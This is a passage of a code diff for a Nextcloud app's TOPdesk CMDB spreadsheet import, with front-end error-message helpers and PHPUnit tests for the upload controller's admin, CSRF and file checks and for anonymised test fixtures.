body.message === 'string' + ? body.message + : '', + details: + body + && typeof body === 'object' + && body.details + && typeof body.details === 'object' + ? body.details + : {}, + status, + } +} + +/** Every error code the page has its own words for. */ +const KNOWN_ERRORS = new Set([ + 'NO_FILE_UPLOADED', + 'NOT_XLSX', + 'FILE_TOO_LARGE', + 'MISSING_RECORDS_UNSUPPORTED', + 'MUNICIPALITY_REQUIRED', + 'MUNICIPALITY_INVALID', + 'NO_SOURCE_SHEET', + 'MISSING_COLUMN', + 'TOO_MANY_ROWS', + 'MAPPING_UNAVAILABLE', + 'READER_UNAVAILABLE', + 'NOT_CONFIGURED', + 'OPERATION_NOT_FOUND', + 'NOT_SIGNED_IN', + 'NOT_ADMIN', + 'CSRF_FAILED', + 'NETWORK_ERROR', +]) + +/** + * Whether the page has its own words for an error code. For any other code + * (including `IMPORT_FAILED`) the page also shows the server's message. + * + * @param {string} code The error code + * @return {boolean} True for a code with its own text + * @spec openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md#requirement-req-cmdb-001-the-import-endpoint-shall-accept-only-a-bounded-xlsx-upload-from-a-nextcloud-admin + */ +export function isKnownError(code) { + return KNOWN_ERRORS.has(code) +} + +/** + * What the page says for an error: a title and, where the code has one, a + * hint on what to do. The text is the page's own, so it is translated even + * when the server's message is not. + * + * @param {{error: string, message?: string, details?: object}} error The error in the server's shape + * @return {{title: string, hint: string}} The words + * @spec openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md#requirement-req-cmdb-003-columns-shall-be-resolved-by-header-name-and-a-missing-required-column-shall-stop-the-import-with-422 + */ +export function errorText(error) { + const details = error?.details || {} + switch (error?.error) { + case 'NO_FILE_UPLOADED': + return { + title: t('stackiq', 'No file was uploaded.'), + hint: t('stackiq', 'Choose the TOPdesk export and try again.'), + } + case 'NOT_XLSX': + return { + title: t('stackiq', 'This file is not an Excel workbook (.xlsx).'), + hint: t( + 'stackiq', + 'Save the TOPdesk export as an Excel workbook (.xlsx). CSV, .xls and macro-enabled .xlsm files are not accepted.', + ), + } + case 'FILE_TOO_LARGE': + return { + title: t('stackiq', 'The file is larger than 10 MB.'), + hint: t( + 'stackiq', + 'Remove sheets the import does not read, or split the export, and try again.', + ), + } + case 'MISSING_RECORDS_UNSUPPORTED': + return { + title: t( + 'stackiq', + 'Records missing from the export can only be kept.', + ), + hint: '', + } + case 'MUNICIPALITY_REQUIRED': + return { + title: t('stackiq', 'Choose a municipality first.'), + hint: t( + 'stackiq', + 'Pick an existing municipality or type the name of a new one.', + ), + } + case 'MUNICIPALITY_INVALID': + return { + title: t( + 'stackiq', + 'The chosen organisation is not a municipality.', + ), + hint: t( + 'stackiq', + 'Pick an organisation of type Municipality, or type the name of a new one.', + ), + } + case 'NO_SOURCE_SHEET': { + const expected = + Array.isArray(details.expected) && details.expected.length > 0 + ? details.expected + : SOURCE_SHEETS + return { + title: t( + 'stackiq', + 'The workbook has none of the sheets the import reads.', + ), + hint: t( + 'stackiq', + 'Expected a sheet named "{first}" or "{second}". Sheet names must match exactly.', + { + first: String(expected[0] ?? SOURCE_SHEETS[0]), + second: String(expected[1] ?? SOURCE_SHEETS[1]), + }, + ), + } + } + case 'MISSING_COLUMN': + return { + title: t( + 'stackiq', + 'The sheet "{sheet}" has no column "{column}".', + { + sheet: String(details.sheet ?? ''), + column: String(details.column ?? ''), + }, + ), + hint: t( + 'stackiq', + 'The columns "APPID" and "Applicatie Naam" are required on every source sheet. Add the column to the export and try again. Nothing was imported.', + ), + } + case 'TOO_MANY_ROWS': + return { + title: details.sheet + ? t( + 'stackiq', + 'The sheet "{sheet}" has more rows than the import can process.', + { sheet: String(details.sheet) }, + ) + : t( + 'stackiq', + 'A sheet has more rows than the import can process.', + ), + hint: t( + 'stackiq', + 'A source sheet may hold at most 10,000 rows. Split the export and import the parts one after the other.', + ), + } + case 'MAPPING_UNAVAILABLE': + return { + title: t('stackiq', 'The import mapping cannot run.'), + hint: t( + 'stackiq', + "OpenRegister's mapping engine is missing or a mapping file is invalid. Update OpenRegister and check the Nextcloud log.", + ), + } + case 'READER_UNAVAILABLE': + return { + title: t('stackiq', 'The Excel reader is not available.'), + hint: t( + 'stackiq', + 'The import reads workbooks with the spreadsheet library that ships with OpenRegister. Make sure OpenRegister is installed and enabled.', + ), + } + case 'NOT_CONFIGURED': + return { + title: t('stackiq', 'Stackiq is not configured for the import.'), + hint: t( + 'stackiq', + 'The stackiq register or its schemas cannot be found. Run Auto Configure at the top of this page, then try again.', + ), + } + case 'OPERATION_NOT_FOUND': + return { + title: t('stackiq', 'This import is no longer running.'), + hint: '', + } + case 'NOT_SIGNED_IN': + return { + title: t('stackiq', 'You are not signed in.'), + hint: t('stackiq', 'Sign in again and retry the import.'), + } + case 'NOT_ADMIN': + return { + title: t( + 'stackiq', + 'Only Nextcloud administrators can import a CMDB export.', + ), + hint: '', + } + case 'CSRF_FAILED': + return { + title: t('stackiq', 'Your session has expired.'), + hint: t('stackiq', 'Reload the page and try again.'), + } + case 'NETWORK_ERROR': + return { + title: t('stackiq', 'The server could not be reached.'), + hint: t('stackiq', 'Check the connection and try again.'), + } + case 'IMPORT_FAILED': + default: + return { + title: t('stackiq', 'The import failed unexpectedly.'), + hint: t( + 'stackiq', + 'Nothing more is known on this page; the Nextcloud log has the details.', + ), + } + } +} + +/** + * What the page shows for a progress snapshot of the running import. + * + * The percentage comes from the processed and total row counts when the + * server has set them, because the tracker's own percentage is weighted by + * the phases of the ArchiMate import. + * + * @param {object|null} progress The snapshot from `GET /api/progress/{operationId}` + * @return {{percentage: number, detail: string}|null} The view, or null before any progress + * @spec openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md#requirement-req-cmdb-013-a-running-import-shall-report-its-progress-and-shall-stop-when-cancelled + */ +export function cmdbProgressView(progress) { + if (!progress) { + return null + } + const processed = Number(progress.processed_items) || 0 + const total = Number(progress.total_items) || 0 + const percentage = + total > 0 + ? Math.min(100, Math.round((processed / total) * 100)) + : Number(progress.percentage) || 0 + return { + percentage, + detail: + total > 0 + ? t('stackiq', '{processed} of {total} rows processed', { + processed, + total, + }) + : '', + } +} + +/** + * The rows of the report as the table shows them. + * + * @param {Array} rows The report's `rows` + * @return {Array} The table rows + * @spec openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md#requirement-req-cmdb-011-each-row-shall-be-processed-in-isolation-and-reported-with-its-outcome + */ +export function reportRows(rows) { + if (!Array.isArray(rows)) { + return [] + } + return rows.map((row, index) => ({ + key: `${row.sheet ?? ''}:${row.row ?? index}:${index}`, + sheet: String(row.sheet ?? ''), + row: row.row ?? '', + appId: String(row.appId ?? ''), + name: String(row.name ?? ''), + outcome: String(row.outcome ?? ''), + notes: [ + ...(Array.isArray(row.reasons) ? row.reasons : []), + ...(Array.isArray(row.warnings) ? row.warnings : []), + ] + .map((note) => String(note)) + .join('; '), + moduleUuid: row.moduleUuid ? String(row.moduleUuid) : '', + })) +} diff --git a/src/views/settings/StackiqSettings.vue b/src/views/settings/StackiqSettings.vue index f9ac89060..05d723232 100644 --- a/src/views/settings/StackiqSettings.vue +++ b/src/views/settings/StackiqSettings.vue @@ -85,6 +85,9 @@ + + + @@ -134,6 +137,7 @@ import { defineComponent } from 'vue' import Web from 'vue-material-design-icons/Web.vue' import AlwaysVisibleSection from '../../components/AlwaysVisibleSection.vue' import ArchiMateImportExport from './sections/ArchiMateImportExport.vue' +import CmdbImport from './sections/CmdbImport.vue' import CronjobConfiguration from './sections/CronjobConfiguration.vue' import EmailConfiguration from './sections/EmailConfiguration.vue' import EolSyncSettings from './sections/EolSyncSettings.vue' @@ -164,6 +168,7 @@ export default defineComponent({ UserGroupsConfiguration, OrganizationSynchronization, ArchiMateImportExport, + CmdbImport, EmailConfiguration, CronjobConfiguration, ModerationQueue, diff --git a/src/views/settings/sections/CmdbImport.vue b/src/views/settings/sections/CmdbImport.vue new file mode 100644 index 000000000..aa8718d96 --- /dev/null +++ b/src/views/settings/sections/CmdbImport.vue @@ -0,0 +1,991 @@ + + + + + + + diff --git a/tests/Unit/Controller/CmdbImportControllerTest.php b/tests/Unit/Controller/CmdbImportControllerTest.php new file mode 100644 index 000000000..665a23171 --- /dev/null +++ b/tests/Unit/Controller/CmdbImportControllerTest.php @@ -0,0 +1,341 @@ + + * @copyright 2026 Conduction B.V. + * @license EUPL-1.2 https://joinup.ec.europa.eu/collection/eupl/eupl-text-eupl-12 + * @link https://github.com/ConductionNL/stackiq + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-8 + * + * SPDX-FileCopyrightText: 2026 Conduction B.V. + * SPDX-License-Identifier: EUPL-1.2 + */ + +declare(strict_types=1); + +namespace OCA\Stackiq\Tests\Unit\Controller; + +use OCA\Stackiq\Controller\CmdbImportController; +use OCA\Stackiq\Exception\CmdbImportException; +use OCA\Stackiq\Service\CmdbExportImportService; +use OCP\IL10N; +use OCP\IRequest; +use PHPUnit\Framework\Attributes\DataProvider; +use PHPUnit\Framework\MockObject\MockObject; +use PHPUnit\Framework\TestCase; +use Psr\Log\LoggerInterface; +use ReflectionMethod; +use RuntimeException; + +/** + * The controller in front of CmdbExportImportService. + */ +class CmdbImportControllerTest extends TestCase { + /** + * Nextcloud's annotation regex (ControllerMethodReflector), as AdminAuthPostureTest uses it. + */ + private const ANNOTATION = '/^\h+\*\h+@(?P[A-Z]\w+)((?P.*))?$/m'; + + /** + * Temporary files of the test. + * + * @var array + */ + private array $files = []; + + /** + * Remove temporary files. + * + * @return void + */ + protected function tearDown(): void { + foreach ($this->files as $file) { + if (is_file($file) === true) { + unlink($file); + } + } + }//end tearDown() + + /** + * A temporary upload. + * + * @param string $content The file content. + * + * @return string The path. + */ + private function upload(string $content = "PK\x03\x04"): string { + $path = (string)tempnam(sys_get_temp_dir(), 'cmdb'); + file_put_contents($path, $content); + $this->files[] = $path; + return $path; + }//end upload() + + /** + * The controller with a request carrying the given file and params. + * + * @param array|null $file The uploaded file entry, or null. + * @param array $params Form fields. + * @param CmdbExportImportService|MockObject|null $service The service. + * + * @return CmdbImportController + */ + private function controller(?array $file, array $params, CmdbExportImportService|MockObject|null $service = null): CmdbImportController { + $request = $this->createMock(IRequest::class); + $request->method('getUploadedFile')->willReturnCallback(fn (string $key) => $key === 'cmdbFile' ? $file : null); + $request->method('getParam')->willReturnCallback(fn (string $key, $default = null) => ($params[$key] ?? $default)); + + $l10n = $this->createMock(IL10N::class); + $l10n->method('t')->willReturnCallback(fn (string $text, $parameters = []): string => vsprintf($text, (array)$parameters)); + + if ($service === null) { + $service = $this->createMock(CmdbExportImportService::class); + $service->method('maxFileBytes')->willReturn(10485760); + $service->method('supportsMissingRecords')->willReturnCallback(fn (string $mode): bool => $mode === 'keep'); + } + + return new CmdbImportController(request: $request, importService: $service, l10n: $l10n, logger: $this->createMock(LoggerInterface::class)); + }//end controller() + + /** + * A service double with the defaults the controller reads before import(). + * + * @return CmdbExportImportService|MockObject + */ + private function service(): CmdbExportImportService|MockObject { + $service = $this->createMock(CmdbExportImportService::class); + $service->method('maxFileBytes')->willReturn(10485760); + $service->method('supportsMissingRecords')->willReturnCallback(fn (string $mode): bool => $mode === 'keep'); + return $service; + }//end service() + + /** + * A file entry as PHP puts it in $_FILES. + * + * @param string $path The temporary file. + * @param string $name The original name. + * @param int $size The size. + * + * @return array + */ + private function file(string $path, string $name = 'export.xlsx', int $size = 4): array { + return ['tmp_name' => $path, 'name' => $name, 'size' => $size, 'error' => UPLOAD_ERR_OK]; + }//end file() + + /** + * Neither method declares NoAdminRequired or NoCSRFRequired, as attribute or annotation. + * + * @return void + */ + public function testBothRoutesAreAdminOnlyWithCsrf(): void { + foreach (['import', 'cancel'] as $method) { + $reflection = new ReflectionMethod(CmdbImportController::class, $method); + $this->assertSame([], $reflection->getAttributes(), $method); + + preg_match_all(self::ANNOTATION, (string)$reflection->getDocComment(), $matches); + foreach (['NoAdminRequired', 'NoCSRFRequired', 'PublicPage'] as $annotation) { + $this->assertNotContains($annotation, $matches['annotation'], $method); + } + } + + $routes = require __DIR__ . '/../../../appinfo/routes.php'; + $byName = array_column($routes['routes'], null, 'name'); + $this->assertSame(['name' => 'cmdbImport#import', 'url' => '/api/cmdb-import', 'verb' => 'POST'], $byName['cmdbImport#import']); + $this->assertSame(['name' => 'cmdbImport#cancel', 'url' => '/api/cmdb-import/{operationId}/cancel', 'verb' => 'POST'], $byName['cmdbImport#cancel']); + }//end testBothRoutesAreAdminOnlyWithCsrf() + + /** + * No file is 400 NO_FILE_UPLOADED; a failed upload too. + * + * @return void + */ + public function testNoFileIsRefused(): void { + $response = $this->controller(file: null, params: ['municipalityName' => 'Gemeente Voorbeeldstad'])->import(); + $this->assertSame(400, $response->getStatus()); + $this->assertSame('NO_FILE_UPLOADED', $response->getData()['error']); + $this->assertFalse($response->getData()['success']); + $this->assertNotSame('', $response->getData()['message']); + + $partial = ['tmp_name' => '', 'name' => 'export.xlsx', 'size' => 0, 'error' => UPLOAD_ERR_PARTIAL]; + $this->assertSame('NO_FILE_UPLOADED', $this->controller(file: $partial, params: [])->import()->getData()['error']); + }//end testNoFileIsRefused() + + /** + * A file of 10 MB plus one byte is 413 FILE_TOO_LARGE and the reader is never invoked. + * + * @return void + */ + public function testAnOversizedFileIsRefusedBeforeReading(): void { + $service = $this->service(); + $service->expects($this->never())->method('assertXlsx'); + $service->expects($this->never())->method('import'); + + $response = $this->controller(file: $this->file(path: $this->upload(), size: 10485761), params: ['municipalityName' => 'X'], service: $service)->import(); + $this->assertSame(413, $response->getStatus()); + $this->assertSame('FILE_TOO_LARGE', $response->getData()['error']); + + $tooBig = ['tmp_name' => '', 'name' => 'export.xlsx', 'size' => 0, 'error' => UPLOAD_ERR_INI_SIZE]; + $this->assertSame(413, $this->controller(file: $tooBig, params: [], service: $service)->import()->getStatus()); + }//end testAnOversizedFileIsRefusedBeforeReading() + + /** + * A file that is not xlsx is 400 NOT_XLSX, checked before missingRecords and the municipality. + * + * @return void + */ + public function testANonXlsxFileIsRefused(): void { + $service = $this->service(); + $service->method('assertXlsx')->willThrowException(new CmdbImportException(errorCode: CmdbImportException::NOT_XLSX, message: 'no')); + $service->expects($this->never())->method('import'); + + $response = $this->controller(file: $this->file(path: $this->upload(content: 'Applicatie Naam;APPID'), name: 'applications.csv'), params: ['missingRecords' => 'remove'], service: $service)->import(); + + $this->assertSame(400, $response->getStatus()); + $this->assertSame('NOT_XLSX', $response->getData()['error']); + }//end testANonXlsxFileIsRefused() + + /** + * A reserved missingRecords value is 422 MISSING_RECORDS_UNSUPPORTED, before the municipality check. + * + * @return void + */ + public function testAReservedMissingRecordsValueIsRefused(): void { + $service = $this->service(); + $service->expects($this->never())->method('import'); + + foreach (['remove', 'mark'] as $mode) { + $response = $this->controller(file: $this->file(path: $this->upload()), params: ['missingRecords' => $mode], service: $service)->import(); + $this->assertSame(422, $response->getStatus(), $mode); + $this->assertSame('MISSING_RECORDS_UNSUPPORTED', $response->getData()['error'], $mode); + } + }//end testAReservedMissingRecordsValueIsRefused() + + /** + * Without a municipality the answer is 422 MUNICIPALITY_REQUIRED and nothing is imported. + * + * @return void + */ + public function testAMunicipalityIsRequired(): void { + $service = $this->service(); + $service->expects($this->never())->method('import'); + + $response = $this->controller(file: $this->file(path: $this->upload()), params: ['municipalityName' => ' '], service: $service)->import(); + $this->assertSame(422, $response->getStatus()); + $this->assertSame('MUNICIPALITY_REQUIRED', $response->getData()['error']); + }//end testAMunicipalityIsRequired() + + /** + * Every service exception keeps its contract code, status and details. + * + * @return array}> + */ + public static function serviceErrors(): array { + return [ + 'mapping' => [CmdbImportException::MAPPING_UNAVAILABLE, 503, []], + 'reader' => [CmdbImportException::READER_UNAVAILABLE, 503, []], + 'config' => [CmdbImportException::NOT_CONFIGURED, 503, []], + 'no sheet' => [CmdbImportException::NO_SOURCE_SHEET, 422, ['expected' => ['Onbeh Applicaties CMDB', 'Beheerde Applicaties CMDB']]], + 'column' => [CmdbImportException::MISSING_COLUMN, 422, ['sheet' => 'Beheerde Applicaties CMDB', 'column' => 'APPID']], + 'rows' => [CmdbImportException::TOO_MANY_ROWS, 422, ['sheet' => 'Beheerde Applicaties CMDB', 'limit' => 10000]], + 'municipality' => [CmdbImportException::MUNICIPALITY_INVALID, 422, []], + 'corrupt' => [CmdbImportException::NOT_XLSX, 400, []], + ]; + }//end serviceErrors() + + /** + * A service exception becomes its contract response. + * + * @param string $code The error code. + * @param int $status The HTTP status. + * @param array $details The details. + * + * @return void + */ + #[DataProvider('serviceErrors')] + public function testServiceErrorsAreTranslated(string $code, int $status, array $details): void { + $service = $this->service(); + $service->method('import')->willThrowException(new CmdbImportException(errorCode: $code, message: 'internal', details: $details)); + + $response = $this->controller(file: $this->file(path: $this->upload()), params: ['municipalityUuid' => '00000000-0000-0000-0000-000000000001'], service: $service)->import(); + + $this->assertSame($status, $response->getStatus()); + $this->assertSame($code, $response->getData()['error']); + $this->assertEquals((object)$details, $response->getData()['details']); + $this->assertStringNotContainsString('internal', $response->getData()['message']); + if ($code === CmdbImportException::MISSING_COLUMN) { + $this->assertStringContainsString('Beheerde Applicaties CMDB', $response->getData()['message']); + $this->assertStringContainsString('APPID', $response->getData()['message']); + } + }//end testServiceErrorsAreTranslated() + + /** + * An unexpected error is 500 IMPORT_FAILED with a generic message. + * + * @return void + */ + public function testAnUnexpectedErrorIsAGeneric500(): void { + $service = $this->service(); + $service->method('import')->willThrowException(new RuntimeException('SQLSTATE secret detail')); + + $response = $this->controller(file: $this->file(path: $this->upload()), params: ['municipalityName' => 'Gemeente Voorbeeldstad'], service: $service)->import(); + + $this->assertSame(500, $response->getStatus()); + $this->assertSame('IMPORT_FAILED', $response->getData()['error']); + $this->assertStringNotContainsString('SQLSTATE', $response->getData()['message']); + }//end testAnUnexpectedErrorIsAGeneric500() + + /** + * A valid upload passes the options through and answers 200 with the report. + * + * @return void + */ + public function testAValidUploadReturnsTheReport(): void { + $path = $this->upload(); + $service = $this->service(); + $service->expects($this->once())->method('assertXlsx')->with($path, 'export.xlsx'); + $service->expects($this->once())->method('import') + ->with( + $path, + [ + 'municipalityUuid' => '', + 'municipalityName' => 'Gemeente Voorbeeldstad', + 'updateExisting' => false, + 'operationId' => 'cmdb-00000000-0000-0000-0000-000000000000', + ] + ) + ->willReturn(['success' => true, 'summary' => ['created' => 2]]); + + $response = $this->controller( + file: $this->file(path: $path), + params: ['municipalityName' => 'Gemeente Voorbeeldstad', 'updateExisting' => 'false', 'missingRecords' => 'keep', 'operationId' => 'cmdb-00000000-0000-0000-0000-000000000000'], + service: $service + )->import(); + + $this->assertSame(200, $response->getStatus()); + $this->assertSame(['success' => true, 'summary' => ['created' => 2]], $response->getData()); + }//end testAValidUploadReturnsTheReport() + + /** + * Cancel answers 200 for a running import and 404 OPERATION_NOT_FOUND otherwise. + * + * @return void + */ + public function testCancel(): void { + $service = $this->service(); + $service->method('requestCancel')->willReturnCallback(fn (string $id): bool => $id === 'cmdb-running-1'); + $controller = $this->controller(file: null, params: [], service: $service); + + $ok = $controller->cancel(operationId: 'cmdb-running-1'); + $this->assertSame(200, $ok->getStatus()); + $this->assertSame(['success' => true, 'cancelRequested' => true], $ok->getData()); + + $missing = $controller->cancel(operationId: 'cmdb-unknown-1'); + $this->assertSame(404, $missing->getStatus()); + $this->assertSame('OPERATION_NOT_FOUND', $missing->getData()['error']); + }//end testCancel() +}//end class diff --git a/tests/Unit/Fixtures/CmdbFixtureHygieneTest.php b/tests/Unit/Fixtures/CmdbFixtureHygieneTest.php new file mode 100644 index 000000000..b7d1c8988 --- /dev/null +++ b/tests/Unit/Fixtures/CmdbFixtureHygieneTest.php @@ -0,0 +1,305 @@ + + * @copyright 2026 Conduction B.V. + * @license EUPL-1.2 https://joinup.ec.europa.eu/collection/eupl/eupl-text-eupl-12 + * @link https://github.com/ConductionNL/stackiq + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-1 + * + * SPDX-FileCopyrightText: 2026 Conduction B.V. + * SPDX-License-Identifier: EUPL-1.2 + */ + +declare(strict_types=1); + +namespace OCA\Stackiq\Tests\Unit\Fixtures; + +use PHPUnit\Framework\Attributes\DataProvider; +use PHPUnit\Framework\TestCase; +use ZipArchive; + +/** + * Scans every fixture package. + */ +class CmdbFixtureHygieneTest extends TestCase { + /** + * The only e-mail addresses a fixture may hold. + * + * @var array + */ + private const PLACEHOLDER_EMAILS = ['letter.achternaam@gemeente.nl', 'groepsmail.test@gemeente.nl']; + + /** + * The only hosts a fixture's content may link to. + * + * @var array + */ + private const PLACEHOLDER_HOSTS = ['wiki.gemeente.nl', 'example.invalid']; + + /** + * The only runs of six or more digits (personnel numbers, phone numbers, ids) a fixture may hold. + * + * @var array + */ + private const PLACEHOLDER_NUMBERS = ['123456', '123457', '612345678', '0612345678', '143211234', '10000000001']; + + /** + * The only values a person-name column may hold, besides a placeholder e-mail address + * (TOPdesk puts the address of the configuration coordinator in that column), and + * the placeholder function a CMDB sheet shows as owner when no person is set. + * + * @var array + */ + private const PLACEHOLDER_NAMES = ['', 'Achternaam, Voornaam', 'Achternaam, voornaam', 'Teamleider Applicatiebeheer']; + + /** + * Columns that hold a person's name. + * + * @var array + */ + private const NAME_COLUMNS = [ + 'Eigenaar', + 'FB contactpersoon 1', + 'FB contactpersoon 2', + 'Groepseigenaar naam⚡', + 'Configuratie coördinator⚡', + 'Applicatie Eigenaar (Persoon)', + '|Asset eigenaar', + ]; + + /** + * Hosts of XML namespaces and schemas, which are not content. + * + * @var array + */ + private const SCHEMA_HOSTS = ['schemas.openxmlformats.org', 'schemas.microsoft.com', 'purl.org', 'www.w3.org']; + + /** + * Every fixture. + * + * @return array + */ + public static function fixtures(): array { + $cases = []; + foreach (glob(__DIR__ . '/../../fixtures/cmdb/*.xlsx') as $path) { + $cases[basename($path)] = [$path]; + } + + return $cases; + }//end fixtures() + + /** + * Every part of a package, by name. + * + * @param string $path The package. + * + * @return array + */ + private function parts(string $path): array { + $zip = new ZipArchive(); + $this->assertTrue($zip->open($path, ZipArchive::RDONLY), basename($path)); + $parts = []; + for ($index = 0; $index < $zip->numFiles; $index++) { + $name = (string)$zip->getNameIndex($index); + $parts[$name] = (string)$zip->getFromIndex($index); + } + + $zip->close(); + return $parts; + }//end parts() + + /** + * There are fixtures to scan, including the four the reader tests use. + * + * @return void + */ + public function testTheFixturesExist(): void { + $names = array_keys(self::fixtures()); + foreach (['topdesk-export-anonymised.xlsx', 'topdesk-missing-appid.xlsx', 'topdesk-shuffled-columns.xlsx', 'topdesk-formula-and-connection.xlsx'] as $expected) { + $this->assertContains($expected, $names); + } + }//end testTheFixturesExist() + + /** + * No author, no custom properties, no customXml, no absolute save path; connections only the synthetic one. + * + * @param string $path The fixture. + * + * @return void + */ + #[DataProvider('fixtures')] + public function testNoDocumentMetadata(string $path): void { + $parts = $this->parts(path: $path); + $name = basename($path); + + $this->assertArrayNotHasKey('docProps/custom.xml', $parts, $name); + foreach (array_keys($parts) as $part) { + $this->assertStringStartsNotWith('customXml/', $part, $name); + } + + if (isset($parts['docProps/core.xml']) === true) { + $core = $parts['docProps/core.xml']; + $this->assertDoesNotMatchRegularExpression('#[^<]+#', $core, $name); + $this->assertDoesNotMatchRegularExpression('#[^<]+#', $core, $name); + } + + $this->assertStringNotContainsString('absPath', ($parts['xl/workbook.xml'] ?? ''), $name); + foreach (['[Content_Types].xml', '_rels/.rels', 'xl/_rels/workbook.xml.rels'] as $index) { + $this->assertStringNotContainsString('custom.xml', ($parts[$index] ?? ''), $name . ' ' . $index); + $this->assertStringNotContainsString('customXml', ($parts[$index] ?? ''), $name . ' ' . $index); + } + + if ($name === 'topdesk-formula-and-connection.xlsx') { + $this->assertStringContainsString('https://example.invalid/', $parts['xl/connections.xml'], 'the synthetic connection'); + return; + } + + $this->assertArrayNotHasKey('xl/connections.xml', $parts, $name); + $this->assertStringNotContainsString('connections.xml', $parts['[Content_Types].xml'], $name); + $this->assertStringNotContainsString('connections.xml', ($parts['xl/_rels/workbook.xml.rels'] ?? ''), $name); + }//end testNoDocumentMetadata() + + /** + * Every e-mail address, linked host and long digit run is a known placeholder. + * + * @param string $path The fixture. + * + * @return void + */ + #[DataProvider('fixtures')] + public function testOnlyPlaceholderContactData(string $path): void { + $name = basename($path); + foreach ($this->parts(path: $path) as $part => $content) { + if (preg_match('/\.(xml|rels)$/', $part) !== 1) { + continue; + } + + preg_match_all('/[A-Za-z0-9._%+-]+@[A-Za-z0-9-]+(?:\.[A-Za-z0-9-]+)+/', $content, $emails); + foreach (array_unique($emails[0]) as $email) { + $this->assertContains(strtolower($email), self::PLACEHOLDER_EMAILS, $name . ' ' . $part); + } + + preg_match_all('#https?://([^/"<\s]+)#', $content, $urls); + foreach (array_unique($urls[1]) as $host) { + if (in_array($host, self::SCHEMA_HOSTS, true) === false) { + $this->assertContains($host, self::PLACEHOLDER_HOSTS, $name . ' ' . $part); + } + } + + // Digit runs in cell values and shared strings; attributes such as + // widths, ids and dates are not content. + preg_match_all('#>(\+?\d[\d\s-]{5,}\d)<#', $content, $numbers); + foreach (array_unique($numbers[1]) as $number) { + $digits = (string)preg_replace('/\D/', '', $number); + if (strlen($digits) >= 6) { + $this->assertContains($digits, self::PLACEHOLDER_NUMBERS, $name . ' ' . $part); + } + } + }//end foreach + }//end testOnlyPlaceholderContactData() + + /** + * Every person-name cell of the raw TOPdesk sheets and the CMDB sheets holds a placeholder. + * + * @param string $path The fixture. + * + * @return void + */ + #[DataProvider('fixtures')] + public function testPersonNameColumnsHoldPlaceholders(string $path): void { + $parts = $this->parts(path: $path); + $strings = $this->sharedStrings(xml: ($parts['xl/sharedStrings.xml'] ?? '')); + + foreach ($parts as $part => $content) { + if (preg_match('#^xl/worksheets/sheet\d+\.xml$#', $part) !== 1) { + continue; + } + + $sheet = simplexml_load_string($content); + $this->assertNotFalse($sheet, $part); + $headers = []; + foreach ($sheet->sheetData->row as $row) { + foreach ($row->c as $cell) { + preg_match('/^([A-Z]+)(\d+)$/', (string)$cell['r'], $ref); + $value = $this->cellText(cell: $cell, strings: $strings); + if ($ref[2] === '1') { + $headers[$ref[1]] = $value; + continue; + } + + // The raw TOPdesk sheets (Middel-ID) and the CMDB sheets (APPID) + // have their headers in row 1; the other sheets are covered by + // the e-mail and number scan. + if (in_array('Middel-ID', $headers, true) === false && in_array('APPID', $headers, true) === false) { + break 2; + } + + $header = ($headers[$ref[1]] ?? ''); + if (in_array($header, self::NAME_COLUMNS, true) === true) { + $this->assertContains(trim($value), array_merge(self::PLACEHOLDER_NAMES, self::PLACEHOLDER_EMAILS), basename($path) . ' ' . $part . ' ' . $cell['r']); + } + } + } + }//end foreach + }//end testPersonNameColumnsHoldPlaceholders() + + /** + * The shared strings table as a list. + * + * @param string $xml The sharedStrings part. + * + * @return array + */ + private function sharedStrings(string $xml): array { + if ($xml === '') { + return []; + } + + $table = simplexml_load_string($xml); + $strings = []; + foreach ($table->si as $item) { + $text = (string)$item->t; + foreach ($item->r as $run) { + $text .= (string)$run->t; + } + + $strings[] = $text; + } + + return $strings; + }//end sharedStrings() + + /** + * The text of a cell. + * + * @param \SimpleXMLElement $cell The cell. + * @param array $strings The shared strings. + * + * @return string + */ + private function cellText(\SimpleXMLElement $cell, array $strings): string { + $type = (string)$cell['t']; + if ($type === 's') { + return ($strings[(int)$cell->v] ?? ''); + } + + if ($type === 'inlineStr') { + return (string)$cell->is->t; + } + + return (string)$cell->v; + }//end cellText() +}//end class diff --git a/tests/Unit/Service/Cmdb/CmdbImportProfileTest.php b/tests/Unit/Service/Cmdb/CmdbImportProfileTest.php new file mode 100644 index 000000000..fe36e789e --- /dev/null +++ b/tests/Unit/Service/Cmdb/CmdbImportProfileTest.php @@ -0,0 +1,305 @@ + + * @copyright 2026 Conduction B.V. + * @license EUPL-1.2 https://joinup.ec.europa.eu/collection/eupl/eupl-text-eupl-12 + * @link https://github.com/ConductionNL/stackiq + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-3 + * + * SPDX-FileCopyrightText: 2026 Conduction B.V. + * SPDX-License-Identifier: EUPL-1.2 + */ + +declare(strict_types=1); + +namespace OCA\Stackiq\Tests\Unit\Service\Cmdb; + +require_once __DIR__ . '/../../Support/CmdbTestSupport.php'; + +use OCA\OpenRegister\Service\MigrationPack\MappingEngine; +use OCA\OpenRegister\Service\MigrationPack\PackDefinitionValidator; +use OCA\Stackiq\Exception\CmdbImportException; +use OCA\Stackiq\Service\Cmdb\CmdbImportProfile; +use OCA\Stackiq\Tests\Unit\Support\CmdbTestSupport; +use PHPUnit\Framework\TestCase; +use Psr\Container\ContainerInterface; + +/** + * The packs are valid OpenRegister packs that implement design.md's column table. + */ +class CmdbImportProfileTest extends TestCase { + /** + * A container that knows nothing, so the validator comes from class_exists. + * + * @return ContainerInterface + */ + private function emptyContainer(): ContainerInterface { + $container = $this->createMock(ContainerInterface::class); + $container->method('has')->willReturn(false); + return $container; + }//end emptyContainer() + + /** + * A copy of the shipped profile directory, to break on purpose. + * + * @return string The directory. + */ + private function copyOfShippedDirectory(): string { + $directory = sys_get_temp_dir() . '/stackiq-cmdb-profile-' . bin2hex(random_bytes(4)); + mkdir($directory); + foreach (glob(CmdbTestSupport::appRoot() . '/lib/Settings/cmdb-import/*.json') as $file) { + copy($file, $directory . '/' . basename($file)); + } + + return $directory; + }//end copyOfShippedDirectory() + + /** + * Remove a directory made by copyOfShippedDirectory(). + * + * @param string $directory The directory. + * + * @return void + */ + private function remove(string $directory): void { + array_map('unlink', glob($directory . '/*.json')); + rmdir($directory); + }//end remove() + + /** + * Every pack passes OpenRegister's validator as an excel pack with a generated id. + * + * @return void + */ + public function 